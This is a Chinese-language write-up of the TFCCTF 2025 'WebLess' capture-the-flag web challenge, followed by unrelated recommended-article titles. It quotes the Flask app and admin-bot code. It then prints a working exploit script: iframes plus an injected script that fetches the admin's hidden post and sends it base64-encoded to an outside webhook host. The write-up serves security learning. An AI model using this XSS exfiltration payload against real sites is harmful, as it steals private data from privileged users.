TFCCTF 2025 WebLess题解

一、题目描述

用户注册登录后,可以创建 Post ,创建好之后可以浏览,也可以通过点击 Report to Admin 触发机器人访问该Post

flag被管理员写在了Post中,只有管理员或者机器人可通过 /post/0 访问

python 复制代码
ADMIN_USERNAME = secrets.token_hex(32)
ADMIN_PASSWORD = secrets.token_hex(32)

users = {ADMIN_USERNAME: ADMIN_PASSWORD}
posts = [{
    "id": 0,
    "author": ADMIN_USERNAME,
    "title": "FLAG",
    "description": FLAG,
    "hidden": True
}]

目标是让机器人访问存放flag的页面: post/0 ,然后再想办法获取flag

二、题目分析

用户登录之后,可以创建Post

python 复制代码
@app.route("/create_post", methods=["POST"])
@login_required
def create_post():
    title = request.form["title"]
    description = request.form["description"]   # 获取用户输入的 description
    hidden = request.form.get("hidden") == "on"  # Checkbox in form for hidden posts
    post_id = len(posts)
    posts.append({   // 将用户的该post条目加入posts
        "id": post_id,
        "author": session["username"],   # author是session[username]
        "title": title,
        "description": description,
        "hidden": hidden
    })
    return redirect(url_for("index"))

用户可以访问自己创建的笔记

python 复制代码
@app.route("/post/<int:post_id>")
@login_required
def post_page(post_id):
    # 判断访问的id是否存在
    post = next((p for p in posts if p["id"] == post_id), None)
    if not post:
        return "Post not found", 404
    # 判断用户是否设置可见 且 判断用户是否为作者
    if post.get("hidden") and post["author"] != session["username"]:
        return "Unauthorized", 403
    # 若id存在 且 用户为作者,将post(包含用户输入title和description)传入render_template函数
    resp = make_response(render_template("post.html", post=post))
    resp.headers["Content-Security-Policy"] = "script-src 'none'; style-src 'self'"
    return resp

用户访问 /report 页面时会触发机器人访问

python 复制代码
@app.route('/report', methods=['POST'])
def report():
    url = request.form.get('url')   # 获取data部分的url
    if not url:
        return 'Missing url', 400
    # 创建线程执行 run_admin_bot 函数
    Thread(target=_run_admin_bot, args=(url,), daemon=True).start()
    return 'Report queued', 202

def _run_admin_bot(target_url: str):
    try:
        # 将 url 作为参数传递给bot
        bot.run_report(target_url, ADMIN_USERNAME, ADMIN_PASSWORD)
        print("[BOT] Done")
    except Exception as e:
        print(f"[BOT] Error: {e}")

bot report操作实际是以管理员身份登录和访问待 reporturl

py 复制代码
def run_report(url, username, password):
    try:
        driver = webdriver.Chrome(service=service, options=options)
        # 1.以管理员身份登录
        driver.get(f"http://127.0.0.1:5000/login?username={username}&password={password}")
        # Wait until page is loaded (document.readyState == "complete")
        WebDriverWait(driver, 10).until(
            lambda d: d.execute_script("return document.readyState") == "complete"
        )

        # 2.访问 report page url
        driver.get(url)
        WebDriverWait(driver, 10).until(
            lambda d: d.execute_script("return window.reportReady === true")
        )
        print("Report page fully loaded")

结合 flag 存放在管理员的 post/0 中,突破点在触发机器人执行report,以管理员的身份登录之后去访问某个url,若该url包含恶意链接,使得机器人在访问时将其cookie或者之前访问 post/0 的内容带出来,即可获得flag

exp如下:

注:credentialless 的核心作用是:让 iframe 请求不带 cookie,适用于跨域信息泄露场景

python 复制代码
import requests

s = requests.Session()
URL = "https://webless-156e7e4ba10d8dc9.challs.tfcctf.com"

solution = """
<iframe src="/post/0"></iframe>
<iframe credentialless src="/login?username=<script>fetch(`https://WEBHOOOK/${btoa(top.window.frames[0].document.body.innerText.substr(20))}`)</script>&password=a"></iframe>
"""

s.post(URL+"/register", data={"username": "test", "password": "test"})
s.post(URL+"/create_post", data={"title": "LEAK", "description": solution, "hidden": "off"})
s.post(URL+"/report", data={"url": "http://127.0.0.1:5000/post/1"})

print("Check the webhook")

poyload的解释如下:

用户创建的post中包含solution,

当bot通过"http://127.0.0.1:5000/post/1" 访问时,返回的页面中包含solution;bot首先会访问 src="post/0" ,然后会访问 src="/login?username=<script>fetch(......)${btoa(top.window.frames[0].document.body.innerText.substr(20))}

在访问后者时会获取前一帧显示的内容的前20个字符,将通过base64编码后发送到https://WEBHOOOK,即将flag的值发送出来了

相关推荐
小陈工1 小时前
Python Web开发入门(十七):Vue.js与Python后端集成——让前后端真正“握手言和“
开发语言·前端·javascript·数据库·vue.js·人工智能·python
问简5 小时前
虚拟化对比
服务器
xiaotao1315 小时前
第九章:Vite API 参考手册
前端·vite·前端打包
午安~婉6 小时前
Electron桌面应用聊天(续)
前端·javascript·electron
科技小花6 小时前
数据治理平台架构演进观察:AI原生设计如何重构企业数据管理范式
数据库·重构·架构·数据治理·ai-native·ai原生
航Hang*6 小时前
Windows Server 配置与管理——第3章:文件系统管理
运维·服务器·windows·vmware
一江寒逸6 小时前
零基础从入门到精通MySQL(中篇):进阶篇——吃透多表查询、事务核心与高级特性,搞定复杂业务SQL
数据库·sql·mysql
D4c-lovetrain6 小时前
linux个人心得22 (mysql)
数据库·mysql
lifewange6 小时前
Linux ps 进程查看命令详解
linux·运维·服务器
彧翎Pro6 小时前
基于 RO1 noetic 配置 robosense Helios 32(速腾) & xsense mti 300
前端·jvm